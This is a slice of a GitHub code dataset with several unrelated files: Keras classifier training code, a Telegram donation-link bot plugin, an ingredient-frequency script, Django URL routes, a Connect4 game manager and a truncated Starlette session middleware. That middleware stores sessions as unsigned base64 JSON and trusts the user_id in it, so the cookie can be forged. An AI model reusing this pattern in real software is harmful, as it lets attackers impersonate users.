self.bilstm_model.get_layer('char_input')\n class_pred = self.bilstm_model.get_layer('class_pred')\n\n\n plot_model(self.bilstm_model, to_file='bilstm_model.png')\n loc_input = Input(shape=[3, ], dtype='float32', name='loc_input')\n\n # print(loc_input.shape)\n # print(class_pred.output.shape)\n\n merge = Concatenate(axis=-1)([loc_input, class_pred.output])\n merge_dense = Dense(128, activation='relu')(merge)\n res_pred = Dense(1, activation='sigmoid', name='res_pred')(merge_dense)\n #res_pred = Dense(1, activation='sigmoid', name='res_pred')(merge)\n self.merge_model = Model(inputs=[self.bilstm_model.input, loc_input], outputs=[class_pred.output, res_pred])\n\n plot_model(self.merge_model, to_file='merge_model.png')\n\n\n def train_lstm(self, excel_dir, checkpoint_path=None):\n train_dict, test_dict = data_generator(excel_dir)\n optimizer = RMSprop(lr=self.lr, rho=0.9, epsilon=1e-06)\n self.bilstm_model.compile(loss='binary_crossentropy',\n optimizer=optimizer,\n metrics=['accuracy'])\n\n if checkpoint_path and os.path.exists(checkpoint_path):\n self.bilstm_model.load_weights(checkpoint_path)\n print(\"Load model weights...\")\n\n checkPointer = ModelCheckpoint(filepath=self.lstmCheckpointPath,\n monitor='val_acc',\n mode='max',\n verbose=1,\n save_best_only=True)\n tensorboard = TensorBoard(log_dir=self.logDir)\n\n x_train = train_dict['char_idx_inputs']\n y_train = train_dict['char_labels']\n x_test = test_dict['char_idx_inputs']\n y_test = test_dict['char_labels']\n\n self.bilstm_model.fit(x_train, y_train,\n batch_size=Config.trainingConfig.batchSize,\n validation_data=[x_test, y_test],\n epochs=Config.trainingConfig.epoches,\n callbacks=[checkPointer, tensorboard])\n\n # self.bilstm_model.save('bilstm.h5')\n\n def train_charcnn(self, excel_dir, checkpoint_path=None):\n train_dict, test_dict = data_generator(excel_dir)\n optimizer = Adam()\n self.charcnn_model.compile(loss='binary_crossentropy',\n optimizer=optimizer,\n metrics=['accuracy'])\n\n if checkpoint_path and os.path.exists(checkpoint_path):\n self.charcnn_model.load_weights(checkpoint_path)\n print(\"Load model weights...\")\n\n checkPointer = ModelCheckpoint(filepath=self.charcnnCheckpointPath,\n monitor='val_acc',\n mode='max',\n verbose=1,\n save_best_only=True)\n tensorboard = TensorBoard(log_dir=self.logDir)\n\n x_train = train_dict['char_idx_inputs']\n y_train = train_dict['char_labels']\n x_test = test_dict['char_idx_inputs']\n y_test = test_dict['char_labels']\n\n self.charcnn_model.fit(x_train, y_train,\n batch_size=Config.trainingConfig.batchSize,\n validation_data=[x_test, y_test],\n epochs=Config.trainingConfig.epoches,\n callbacks=[checkPointer, tensorboard])\n\n # self.charcnn_model.save('charcnn.h5')\n\n def train(self, excel_dir, is_enhance_pos = True):\n train_dict, test_dict = data_generator(excel_dir, train_rate=0.95)\n\n if is_enhance_pos:\n train_dict = my_smote(train_dict)\n\n self.merge_model.compile(optimizer='adam',\n loss={'class_pred': 'binary_crossentropy', 'res_pred': 'binary_crossentropy'},\n metrics=['accuracy'],\n loss_weights={'class_pred': 0.5, 'res_pred': 5.0})\n\n\n checkPointer = ModelCheckpoint(filepath=self.checkpointPath,\n monitor='val_res_pred_acc',\n mode='max',\n verbose=1,\n save_best_only=True,\n save_weights_only=False\n #period=5\n )\n tensorboard = TensorBoard(log_dir=self.logDir)\n\n self.merge_model.fit({'char_input': train_dict['char_idx_inputs'], 'loc_input': train_dict['loc_inputs']},\n {'class_pred': train_dict['char_labels'], 'res_pred': train_dict['res_labels']},\n shuffle=True,\n epochs=Config.trainingConfig.epoches,\n batch_size=Config.trainingConfig.batchSize,\n validation_data=(\n {'char_input': test_dict['char_idx_inputs'], 'loc_input': test_dict['loc_inputs']},\n {'class_pred': test_dict['char_labels'], 'res_pred': test_dict['res_labels']}),\n callbacks=[checkPointer, tensorboard])\n\n def predict_lstm(self, excel_dir, checkpoint_path):\n if checkpoint_path and os.path.exists(checkpoint_path):\n self.bilstm_model.load_weights(checkpoint_path)\n print(\"Load model weights...\")\n train_dict, test_dict = data_generator(excel_dir)\n res = self.bilstm_model.predict_on_batch(test_dict['char_idx_inputs'])\n for i in range(len(res)):\n print(test_dict['char_inputs'][i], res[i], test_dict['char_labels'][i])\n\n def predict_merge(self, excel_dir, checkpoint_path):\n if checkpoint_path and os.path.exists(checkpoint_path):\n self.merge_model.load_weights(checkpoint_path)\n print(\"Load model weights...\")\n train_dict, test_dict = data_generator(excel_dir)\n res = self.merge_model.predict_on_batch({'char_input': test_dict['char_idx_inputs'], 'loc_input': test_dict['loc_inputs']})\n print(len(res), len(res[0]))\n count = 0\n for i in range(len(res[1])):\n if round(res[1][i][0]) == int(test_dict['res_labels'][i]):\n count += 1\n print(test_dict['char_inputs'][i], res[0][i], round(res[1][i][0]), test_dict['res_labels'][i])\n print(count)\n\n def load_weights(self, checkpoint_path):\n if checkpoint_path and os.path.exists(checkpoint_path):\n self.merge_model.load_weights(checkpoint_path)\n print(\"Load model weights...\")\n def predict_one(self, char_input, loc_input):\n\n res = self.merge_model.predict({'char_input': char_input, 'loc_input': loc_input})\n return res\n\n\n\nif __name__ == \"__main__\":\n import numpy as np\n bilstm = BiLSTM()\n excel_dir = '/Users/peng_ji/Desktop/AB_train'\n\n # 先训练charcnn部分\n # bilstm.build_cnn_model()\n # bilstm.train_charcnn(excel_dir)\n\n # 注释上面👆训练，再训练完整模型\n # bilstm.charcnn_merge_loc_model(checkpoint_path='./saved_model/charcnn-weights-17-0.97.hdf5')\n # bilstm.train(excel_dir)\n #bilstm.predict_merge(excel_dir, './saved_model/modelnopunc-weights-55-0.96.hdf5')\n #bilstm.predict_one(np.array([[20]*50]), np.array([[0.1,0.1,0.1]]), 'modelnopunc-weights-55-0.96.hdf5')\n\n bilstm.charcnn_merge_loc_model(checkpoint_path=None)\n bilstm.train(excel_dir)\n\n\n", "repo_name": "rookiePoo/aiDocSliceClassifier", "sub_path": "bilstm.py", "file_name": "bilstm.py", "file_ext": "py", "file_size_in_byte": 11814, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "config.Config.sequenceMaxLength", "line_number": 16, "usage_type": "attribute"}, {"api_name": "config.Config", "line_number": 16, "usage_type": "name"}, {"api_name": "config.Config.numChars", "line_number": 17, "usage_type": "attribute"}, {"api_name": "config.Config", "line_number": 17, "usage_type": "name"}, {"api_name": "config.Config.modelConfig", "line_number": 18, "usage_type": "attribute"}, {"api_name": "config.Config", "line_number": 18, "usage_type": "name"}, {"api_name": "config.Config.modelConfig", "line_number": 19, "usage_type": "attribute"}, {"api_name": "config.Config", "line_number": 19, "usage_type": "name"}, {"api_name": "config.Config.checkpointPath", "line_number": 20, "usage_type": "attribute"}, {"api_name": "config.Config", "line_number": 20, "usage_type": "name"}, {"api_name": "config.Config.lstmCheckpointPath", "line_number": 21, "usage_type": "attribute"}, {"api_name": "config.Config", "line_number": 21, "usage_type": "name"}, {"api_name": "config.Config.charcnnCheckpointPath", "line_number": 22, "usage_type": "attribute"}, {"api_name": "config.Config", "line_number": 22, "usage_type": "name"}, {"api_name": "config.Config.logDir", "line_number": 24, "usage_type": "attribute"}, {"api_name": "config.Config", "line_number": 24, "usage_type": "name"}, {"api_name": "config.Config.trainingConfig", "line_number": 25, "usage_type": "attribute"}, {"api_name": "config.Config", "line_number": 25, "usage_type": "name"}, {"api_name": "keras.layers.Input", "line_number": 33, "usage_type": "call"}, {"api_name": "keras.layers.Embedding", "line_number": 36, "usage_type": "call"}, {"api_name": "keras.layers.Conv1D", "line_number": 46, "usage_type": "call"}, {"api_name": "keras.layers.MaxPooling1D", "line_number": 48, "usage_type": "call"}, {"api_name": "keras.layers.Flatten", "line_number": 49, "usage_type": "call"}, {"api_name": "keras.layers.Concatenate", "line_number": 51, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 53, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 54, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 56, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 58, "usage_type": "call"}, {"api_name": "keras.utils.plot_model", "line_number": 59, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 66, "usage_type": "call"}, {"api_name": "os.path", "line_number": 66, "usage_type": "attribute"}, {"api_name": "keras.layers.Input", "line_number": 70, "usage_type": "call"}, {"api_name": "keras.layers.Concatenate", "line_number": 72, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 73, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 74, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 75, "usage_type": "call"}, {"api_name": "keras.utils.plot_model", "line_number": 76, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 79, "usage_type": "call"}, {"api_name": "keras.layers.Embedding", "line_number": 81, "usage_type": "call"}, {"api_name": "keras.layers.Bidirectional", "line_number": 85, "usage_type": "call"}, {"api_name": "keras.layers.LSTM", "line_number": 85, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 88, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 89, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 91, "usage_type": "call"}, {"api_name": "keras.utils.plot_model", "line_number": 100, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 101, "usage_type": "call"}, {"api_name": "keras.layers.Concatenate", "line_number": 106, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 107, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 108, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 110, "usage_type": "call"}, {"api_name": "keras.utils.plot_model", "line_number": 112, "usage_type": "call"}, {"api_name": "data_helper.data_generator", "line_number": 116, "usage_type": "call"}, {"api_name": "keras.optimizers.RMSprop", "line_number": 117, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 122, "usage_type": "call"}, {"api_name": "os.path", "line_number": 122, "usage_type": "attribute"}, {"api_name": "keras.callbacks.ModelCheckpoint", "line_number": 126, "usage_type": "call"}, {"api_name": "keras.callbacks.TensorBoard", "line_number": 131, "usage_type": "call"}, {"api_name": "config.Config.trainingConfig", "line_number": 139, "usage_type": "attribute"}, {"api_name": "config.Config", "line_number": 139, "usage_type": "name"}, {"api_name": "config.Config.trainingConfig", "line_number": 141, "usage_type": "attribute"}, {"api_name": "config.Config", "line_number": 141, "usage_type": "name"}, {"api_name": "data_helper.data_generator", "line_number": 147, "usage_type": "call"}, {"api_name": "keras.optimizers.Adam", "line_number": 148, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 153, "usage_type": "call"}, {"api_name": "os.path", "line_number": 153, "usage_type": "attribute"}, {"api_name": "keras.callbacks.ModelCheckpoint", "line_number": 157, "usage_type": "call"}, {"api_name": "keras.callbacks.TensorBoard", "line_number": 162, "usage_type": "call"}, {"api_name": "config.Config.trainingConfig", "line_number": 170, "usage_type": "attribute"}, {"api_name": "config.Config", "line_number": 170, "usage_type": "name"}, {"api_name": "config.Config.trainingConfig", "line_number": 172, "usage_type": "attribute"}, {"api_name": "config.Config", "line_number": 172, "usage_type": "name"}, {"api_name": "data_helper.data_generator", "line_number": 178, "usage_type": "call"}, {"api_name": "data_helper.my_smote", "line_number": 181, "usage_type": "call"}, {"api_name": "keras.callbacks.ModelCheckpoint", "line_number": 189, "usage_type": "call"}, {"api_name": "keras.callbacks.TensorBoard", "line_number": 197, "usage_type": "call"}, {"api_name": "config.Config.trainingConfig", "line_number": 202, "usage_type": "attribute"}, {"api_name": "config.Config", "line_number": 202, "usage_type": "name"}, {"api_name": "config.Config.trainingConfig", "line_number": 203, "usage_type": "attribute"}, {"api_name": "config.Config", "line_number": 203, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 210, "usage_type": "call"}, {"api_name": "os.path", "line_number": 210, "usage_type": "attribute"}, {"api_name": "data_helper.data_generator", "line_number": 213, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 219, "usage_type": "call"}, {"api_name": "os.path", "line_number": 219, "usage_type": "attribute"}, {"api_name": "data_helper.data_generator", "line_number": 222, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 233, "usage_type": "call"}, {"api_name": "os.path", "line_number": 233, "usage_type": "attribute"}]} +{"seq_id": "42048086378", "text": "# ©️2022 RSR\nfrom pyrogram import Client, filters\nfrom pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton\n\nrsrke = InlineKeyboardMarkup(\n [\n [\n InlineKeyboardButton(\n \"Gpay\", url=\"https://telegra.ph/%F0%9D%9A%81%F0%9D%9A%82%F0%9D%9A%81-06-19\"\n ),\n InlineKeyboardButton(\n \"Bank\", url=\"https://telegra.ph/%F0%9D%9A%81%F0%9D%9A%82%F0%9D%9A%81-09-06\"\n ),\n ],\n [\n InlineKeyboardButton(\n \"Paypal\", url=\"https://paypal.me/rickyzote\"\n ),\n InlineKeyboardButton(\n \"Beer\", url=\"https://www.buymeacoffee.com/rsrmusic\"\n ),\n ],\n ]\n )\n\n@Client.on_message(filters.chat(-1001231244897) & filters.new_chat_members)\nasync def supporters(client, message):\n for rsr in message.new_chat_members:\n await client.send_message(-1001231244897, text=f\"Hello {rsr.mention}\\n\\n**{message.chat.title}** group ah hian kan lo lawm a che. Donate dan tur i hriatloh chuan #donate 👈tiang hian group ah hian ilo thawn dawn nia, i donate anih chuan i donate zawh ah i donate ani tih hriatna tur khan screenshot la, group ah hian ilo dah dawn nia i screenshot kha.\\n\\nHun hman nuam le😊\", reply_to_message_id=message.id)\n return\n \n \n@Client.on_message(filters.command(\"donate\", prefixes=[\"#\"]) & filters.chat(-1001231244897))\nasync def donatecom(client, message):\n await client.send_message(-1001231244897, text=\"Donate i duh chuan a hnuaia button ho ah khuan i donate theihna/duhna kha click mai rawh aw, i click zawh ah open ngai chi anih chuan i open leh mai dawn nia.\", reply_markup=rsrke, reply_to_message_id=message.id)\n return\n", "repo_name": "zzzote-mz/bruh", "sub_path": "plugins/tereuhtesupporters.py", "file_name": "tereuhtesupporters.py", "file_ext": "py", "file_size_in_byte": 1891, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pyrogram.types.InlineKeyboardMarkup", "line_number": 5, "usage_type": "call"}, {"api_name": "pyrogram.types.InlineKeyboardButton", "line_number": 8, "usage_type": "call"}, {"api_name": "pyrogram.types.InlineKeyboardButton", "line_number": 11, "usage_type": "call"}, {"api_name": "pyrogram.types.InlineKeyboardButton", "line_number": 16, "usage_type": "call"}, {"api_name": "pyrogram.types.InlineKeyboardButton", "line_number": 19, "usage_type": "call"}, {"api_name": "pyrogram.Client.on_message", "line_number": 26, "usage_type": "call"}, {"api_name": "pyrogram.Client", "line_number": 26, "usage_type": "name"}, {"api_name": "pyrogram.filters.chat", "line_number": 26, "usage_type": "call"}, {"api_name": "pyrogram.filters", "line_number": 26, "usage_type": "name"}, {"api_name": "pyrogram.filters.new_chat_members", "line_number": 26, "usage_type": "attribute"}, {"api_name": "pyrogram.Client.on_message", "line_number": 33, "usage_type": "call"}, {"api_name": "pyrogram.Client", "line_number": 33, "usage_type": "name"}, {"api_name": "pyrogram.filters.command", "line_number": 33, "usage_type": "call"}, {"api_name": "pyrogram.filters", "line_number": 33, "usage_type": "name"}, {"api_name": "pyrogram.filters.chat", "line_number": 33, "usage_type": "call"}]} +{"seq_id": "20340222155", "text": "from logging import getLogger\nfrom typing import Optional\n\nfrom c4_zero.agent.model.model import C4Model\nfrom c4_zero.agent.model.model_util import ModelUtil\nfrom c4_zero.agent.player import BasePlayer\nfrom c4_zero.agent.player_alphazero import ThoughtItem, EvaluationItem\nfrom c4_zero.agent.player_creator import create_player\nfrom c4_zero.config import Config\nfrom c4_zero.env.c4_environment import C4Env\nfrom c4_zero.env.c4_util import BW, MOVES, Player, BLACK, WHITE\nfrom c4_zero.env.environment import Env\n\nlogger = getLogger(__name__)\n\n\nclass GUIGameManager:\n \"\"\"人間と対戦する場合のゲームマネージャー\"\"\"\n config: Config\n human_color: Player\n env: Env\n model: C4Model\n ai: BasePlayer\n last_history: Optional[ThoughtItem]\n last_evaluation: Optional[EvaluationItem]\n\n def __init__(self, config: Config):\n # envの初期化\n C4Env.initialize(config.env)\n\n self.config = config\n self.human_color = None\n self.env = C4Env.create_init()\n self.env.reset()\n self.model = self._load_model()\n self.last_evaluation = None\n self.last_history = None\n\n def start_game(self):\n \"\"\"ゲームを開始する\"\"\"\n self.env.reset()\n self.ai = create_player(self.config, self.config.play_gui.player, self.model)\n\n def start_game_with_state(self, state_string):\n \"\"\"ゲームをある状態から開始する\"\"\"\n try:\n env = C4Env.from_string(state_string)\n except Exception as ex:\n import traceback\n print(ex)\n print(traceback.format_exc())\n return False\n self.env = env\n self.ai = create_player(self.config, self.config.play_gui.player, self.model)\n return True\n\n @property\n def turn(self):\n return self.env.turn\n\n @property\n def over(self):\n return self.env.done\n\n @property\n def winner(self):\n return self.env.winner\n\n @property\n def is_next_human(self):\n return self.next_player == self.human_color\n\n @property\n def next_player(self):\n return self.env.next_player\n\n def stone(self, y, x):\n value = self.env.board.get_value(y, x)\n if value == BLACK:\n return Player.black\n elif value == WHITE:\n return Player.white\n return None\n\n def available(self, y, x):\n legal_moves = self.env.legal_moves()\n return legal_moves[y * BW + x] > 0\n\n def legal_moves_str(self):\n ret = \"\"\n for i in range(MOVES):\n y, x = i // BW, i % BW\n if self.available(y, x):\n ret += \"o\"\n else:\n ret += \".\"\n return ret\n\n def move(self, y, x):\n \"\"\"次の手を打つ\"\"\"\n action = int(y * BW + x)\n assert 0 <= action < MOVES\n self.env.step(action)\n self.last_history = None\n self.last_evaluation = None\n\n def _load_model(self):\n return ModelUtil.load_model(self.config, self.config.play_gui.player.use_newest)\n\n def think_by_ai(self):\n \"\"\"aiによる思考を行う\"\"\"\n env_black = self.env.get_env_black()\n action = self.ai.action(env_black)\n\n # show evaluations\n self.last_history = self.ai.ask_thought(env_black)\n self.last_evaluation = self.ai.ask_evaluation(env_black)\n\n def move_by_ai(self):\n \"\"\"aiによる思考を行い、一手指す\"\"\"\n env_black = self.env.get_env_black()\n action = self.ai.action(env_black)\n\n self.env.step(action)\n\n # show evaluations\n self.last_history = self.ai.ask_thought(env_black)\n self.last_evaluation = self.ai.ask_evaluation(env_black)\n", "repo_name": "threecourse/rl-connect4-alpha-zero", "sub_path": "src/c4_zero/worker/gui_game_manager.py", "file_name": "gui_game_manager.py", "file_ext": "py", "file_size_in_byte": 3735, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "logging.getLogger", "line_number": 14, "usage_type": "call"}, {"api_name": "c4_zero.config.Config", "line_number": 19, "usage_type": "name"}, {"api_name": "c4_zero.env.c4_util.Player", "line_number": 20, "usage_type": "name"}, {"api_name": "c4_zero.env.environment.Env", "line_number": 21, "usage_type": "name"}, {"api_name": "c4_zero.agent.model.model.C4Model", "line_number": 22, "usage_type": "name"}, {"api_name": "c4_zero.agent.player.BasePlayer", "line_number": 23, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 24, "usage_type": "name"}, {"api_name": "c4_zero.agent.player_alphazero.ThoughtItem", "line_number": 24, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 25, "usage_type": "name"}, {"api_name": "c4_zero.agent.player_alphazero.EvaluationItem", "line_number": 25, "usage_type": "name"}, {"api_name": "c4_zero.config.Config", "line_number": 27, "usage_type": "name"}, {"api_name": "c4_zero.env.c4_environment.C4Env.initialize", "line_number": 29, "usage_type": "call"}, {"api_name": "c4_zero.env.c4_environment.C4Env", "line_number": 29, "usage_type": "name"}, {"api_name": "c4_zero.env.c4_environment.C4Env.create_init", "line_number": 33, "usage_type": "call"}, {"api_name": "c4_zero.env.c4_environment.C4Env", "line_number": 33, "usage_type": "name"}, {"api_name": "c4_zero.agent.player_creator.create_player", "line_number": 42, "usage_type": "call"}, {"api_name": "c4_zero.env.c4_environment.C4Env.from_string", "line_number": 47, "usage_type": "call"}, {"api_name": "c4_zero.env.c4_environment.C4Env", "line_number": 47, "usage_type": "name"}, {"api_name": "traceback.format_exc", "line_number": 51, "usage_type": "call"}, {"api_name": "c4_zero.agent.player_creator.create_player", "line_number": 54, "usage_type": "call"}, {"api_name": "c4_zero.env.c4_util.BLACK", "line_number": 79, "usage_type": "name"}, {"api_name": "c4_zero.env.c4_util.Player.black", "line_number": 80, "usage_type": "attribute"}, {"api_name": "c4_zero.env.c4_util.Player", "line_number": 80, "usage_type": "name"}, {"api_name": "c4_zero.env.c4_util.WHITE", "line_number": 81, "usage_type": "name"}, {"api_name": "c4_zero.env.c4_util.Player.white", "line_number": 82, "usage_type": "attribute"}, {"api_name": "c4_zero.env.c4_util.Player", "line_number": 82, "usage_type": "name"}, {"api_name": "c4_zero.env.c4_util.BW", "line_number": 87, "usage_type": "name"}, {"api_name": "c4_zero.env.c4_util.MOVES", "line_number": 91, "usage_type": "argument"}, {"api_name": "c4_zero.env.c4_util.BW", "line_number": 92, "usage_type": "name"}, {"api_name": "c4_zero.env.c4_util.BW", "line_number": 101, "usage_type": "name"}, {"api_name": "c4_zero.env.c4_util.MOVES", "line_number": 102, "usage_type": "name"}, {"api_name": "c4_zero.agent.model.model_util.ModelUtil.load_model", "line_number": 108, "usage_type": "call"}, {"api_name": "c4_zero.agent.model.model_util.ModelUtil", "line_number": 108, "usage_type": "name"}]} +{"seq_id": "17377644336", "text": "import json\n\nfrom prettyprinter import pprint\n\nwith open(\"./train.json\") as f:\n data = json.load(f)\n\n# Assingning the different cuisines as keys\nclasses = {}\nfor x in data:\n if x[\"cuisine\"] not in classes:\n classes[x[\"cuisine\"]] = {}\n\n# Get the frequency of all the ingredients for each cuisine\nfor x in data:\n ingredients = x[\"ingredients\"]\n for i in ingredients:\n if classes.get(x[\"cuisine\"]).get(i) == None:\n classes.get(x[\"cuisine\"])[i] = 1\n else:\n classes.get(x[\"cuisine\"])[i] += 1 \n#pprint(classes)\n\n# Get the top ten ingredients for each cuisine\nfirst, second, third, fourth, fifth, sixth, seventh, eigth, ninth, tenth = (0,)*10\neleventh, twelfth, thirteenth, fourteenth = (0,)*4\nfirst_name, second_name, third_name, fourth_name, fifth_name, sixth_name, seventh_name, eigth_name, ninth_name, tenth_name = (\"\",)*10\neleventh_name, twelfth_name, thirteenth_name, fourteenth_name = (\"\",)*4\n\nrank_name = [first_name, second_name, third_name, fourth_name, fifth_name,\n sixth_name, seventh_name, eigth_name, ninth_name, tenth_name]\nrank_freq = [first, second, third, fourth, fifth, sixth, seventh, eigth,\n ninth, tenth]\nsecondary_rank_freq = [eleventh, twelfth, thirteenth]\nsecondary_rank_name = [eleventh_name, twelfth_name, thirteenth_name]\n\ndef shuffleList(list_name, list_freq, index):\n i = len(list_freq) - 1\n while i > index:\n list_name[i] = list_name[i - 1]\n list_freq[i] = list_freq[i - 1]\n i -= 1\n\ndef top10(dictionary, classes, rank_name, rank_freq, repeats,\n secondary_dictionary, repeat_2, repeat_3, repeat_4_5):\n ''' Gets top 10 ingredients based on frequency '''\n ignore = repeats + repeat_2 + repeat_3 + repeat_4_5\n for x in classes:\n for i in classes[x]:\n # Top 10 ingredients for each cuisine\n if i not in ignore:\n for o in range(len(rank_name)):\n if (classes[x][i] > rank_freq[o]):\n shuffleList(rank_name, rank_freq, o)\n rank_name[o] = i\n rank_freq[o] = classes[x][i]\n break \n # Ingredients that repeat in more than 2 cuisines\n elif i in repeat_2:\n for y in range(len(secondary_rank_name)):\n if classes[x][i] > secondary_rank_freq[y]:\n shuffleList(secondary_rank_name, secondary_rank_freq, y)\n secondary_rank_name[y] = i\n secondary_rank_freq[y] = classes[x][i]\n break\n # Top 10\n # Uncomment for [name, frequency]\n tmp_list = []\n for item in range(len(rank_name)):\n tmp_list.append([rank_name[item], rank_freq[item]])\n rank_name[item] = \"\"\n rank_freq[item] = 0\n # Lower 3\n secondary_tmp_list = []\n for j in range(len(secondary_rank_name)):\n secondary_tmp_list.append([secondary_rank_name[j], \n secondary_rank_freq[j]])\n secondary_rank_name[j] = \"\"\n secondary_rank_freq[j] = 0\n dictionary[x] = tmp_list\n secondary_dictionary[x] = secondary_tmp_list\n return dictionary, secondary_dictionary\n\ndef findRepeats(repeats, main_list):\n ''' Finds the frequency of each ingredient among\n the other cuisines ''' \n for x in main_list:\n for i in main_list[x]:\n if repeats.get(i[0]) == None:\n repeats[i[0]] = 1\n else:\n repeats[i[0]] += 1\n return repeats\n\ndef plus_n_repeats(main_list, repeats, thresh_lower, thresh_upper):\n ''' Adds ingredients that repeats more than thresh '''\n for x in repeats:\n if repeats[x] >= thresh_lower and repeats[x] <= thresh_upper:\n main_list.append(x)\n return main_list\n\ndef convertResult(main_list):\n converted = {}\n for x in main_list:\n tmp = []\n for i in main_list[x]:\n tmp.append(i[0])\n converted[x] = tmp\n return converted\n\n# =========================================================================\n# Main:\n# =========================================================================\ndef main():\n result = {}\n secondary_result = {}\n repeats_list = [\"salt\", \"water\", \"pepper\"] # Repeats in more than 6 cuisines\n repeat_2 = []\n repeat_3 = []\n repeat_4_5 = []\n for times in range(7): # so far 4 is the optimal\n # Calculating new repeats\n repeats = {}\n repeats = findRepeats(repeats, result)\n # Adding the > 5 frequency to new repeats\n repeat_2 = plus_n_repeats(repeat_2, repeats, 2, 2)\n repeat_3 = plus_n_repeats(repeat_2, repeats, 3, 3)\n repeat_4_5 = plus_n_repeats(repeat_2, repeats, 4, 5)\n repeats_list = plus_n_repeats(repeats_list, repeats, 6, 20)\n # Getting top 10\n result, secondary_result = top10(result, classes, rank_name, rank_freq, \n repeats_list, secondary_result, repeat_2,\n repeat_3, repeat_4_5)\n result = convertResult(result)\n secondary_result = convertResult(secondary_result)\n #pprint(result)\n #pprint(secondary_result)\n return result, secondary_result\n", "repo_name": "MelinUCSD/personal-spis-2020-projects", "sub_path": "cuisine_classifier/data/unprocessed/frequencies.py", "file_name": "frequencies.py", "file_ext": "py", "file_size_in_byte": 5335, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "86", "api": [{"api_name": "json.load", "line_number": 6, "usage_type": "call"}]} +{"seq_id": "19683749064", "text": "from django.urls import path, include\nfrom . import views\nfrom django.conf.urls.static import static\nfrom django.conf import settings\n\nurlpatterns = [\n path('', views.main, name='main'),\n path('video_list', views.video_list, name='video_list'),\n path('video_manage', views.video_information, name='video_manage'),\n path('watching/', views.video_count, name='counts'),\n path('join', views.signup, name='join'),\n path('accounts/', include('django.contrib.auth.urls')),\n path('upload', views.upload_file, name='upload'),\n path('video_manage/', views.delete_video, name='delete_video'),\n]\nif settings.DEBUG:\n urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)", "repo_name": "YeHoonJang/archive_for_everything", "sub_path": "intern/django/ini_final_project/relocations/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 726, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "django.conf.settings.DEBUG", "line_number": 16, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 16, "usage_type": "name"}, {"api_name": "django.conf.urls.static.static", "line_number": 17, "usage_type": "call"}, {"api_name": "django.conf.settings.MEDIA_URL", "line_number": 17, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 17, "usage_type": "name"}, {"api_name": "django.conf.settings.MEDIA_ROOT", "line_number": 17, "usage_type": "attribute"}]} +{"seq_id": "38005812563", "text": "import base64\nimport datetime\nimport json\nimport typing\n\nfrom starlette.datastructures import MutableHeaders, Secret\nfrom starlette.requests import HTTPConnection\nfrom starlette.types import ASGIApp, Message, Receive, Scope, Send\n\n\nclass AuthenticationMiddleware:\n def __init__(self, app: ASGIApp, user_model: type) -> None:\n self.app = app\n self.user_model = user_model\n\n async def __call__(self, scope: Scope, receive: Receive, send: Send) -> None:\n # print(scope)\n if scope['type'] in ('http', 'websocket'):\n scope['user'] = await self.get_user(scope)\n await self.app(scope, receive, send)\n\n async def get_user(self, scope):\n assert 'session' in scope, 'Enable SessionMiddleware before AuthenticationMiddleware'\n session = scope['session']\n id = session.get('user_id')\n if id is None:\n return None\n return await self.user_model.objects.get(id=id)\n\n\nclass BaseSessionBackend:\n def encode(self, session: dict) -> str:\n return base64.b64encode(json.dumps(session).encode()).decode()\n\n def decode(self, data: str) -> dict:\n try:\n return json.loads(base64.b64decode(data.encode()))\n except Exception:\n return {}\n\nclass SessionMiddleware:\n def __init__(\n self,\n app: ASGIApp,\n backend: typing.Optional[BaseSessionBackend] = None,\n session_cookie: str = 'session',\n max_age: int = datetime.timedelta(weeks=2).total_seconds(), # 14 days, in seconds\n same_site: str = 'lax',\n https_only: bool = False,\n ) -> None:\n self.app = app\n self.session_cookie = session_cookie\n self.backend = backend if backend else BaseSessionBackend()\n self.max_age = max_age\n self.security_flags = 'httponly; samesite=' + same_site\n if https_only: # Secure flag can be used with HTTPS only\n self.security_flags += '; secure'\n\n async def __call__(self, scope: Scope, receive: Receive, send: Send) -> 